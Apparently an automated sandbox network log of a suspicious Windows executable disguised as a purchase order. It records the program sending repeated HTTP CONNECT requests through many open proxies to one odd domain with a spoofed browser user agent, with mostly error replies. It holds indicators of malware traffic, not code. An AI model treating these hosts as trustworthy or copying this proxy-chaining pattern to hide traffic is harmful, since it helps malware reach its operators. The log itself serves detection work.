Mar 11, 2024 16:39:52.296921968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.788805962 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:39:52 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.10	51125	132.148.128.88	26606	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.297563076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.410908937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.411114931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411056042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.504462004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.10	54164	162.214.225.223	58240	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.297954082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.801672935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.411467075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.504966974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.707818031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.910763025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.207957029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.598685980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.337125063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.10	54839	45.11.95.166	6004	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.298628092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176408052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.582293034 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.10	54813	51.161.131.84	19987	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.300240040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.176533937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.10	54940	162.247.243.167	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.300532103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.461596966 CET	159	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 15 content-type: text/plain; charset=utf-8 x-served-by: cache-lax-kwhp1940085 Data Raw: 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 Data Ascii: invalid request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.10	51059	37.187.24.201	81	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.309016943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.410945892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.411140919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411060095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.504587889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.10	55072	43.153.174.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.325660944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.10	55074	43.153.174.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.328267097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.10	55081	43.153.174.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.329453945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.10	55082	43.153.174.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.330391884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.10	55085	140.84.176.246	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.331780910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.10	55086	140.84.176.246	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.333106995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.10	55003	104.16.207.86	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.333312988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.487554073 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.10	55089	140.84.176.246	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.334008932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.10	55093	140.84.176.246	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.336313009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.10	54898	139.224.64.191	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.336591005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.680252075 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.10	54144	42.193.58.96	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.338664055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.979497910 CET	58	IN	HTTP/1.1 200 Connection established Connection: close
Mar 11, 2024 16:39:56.188601017 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.10	55014	104.16.195.74	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.340063095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.494230032 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.10	53211	161.97.163.52	32092	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.342014074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.410955906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.411178112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.411056042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.504595041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.10	53447	181.129.43.3	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.347939014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.755913019 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.10	54948	134.122.26.11	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.356617928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.910916090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598728895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
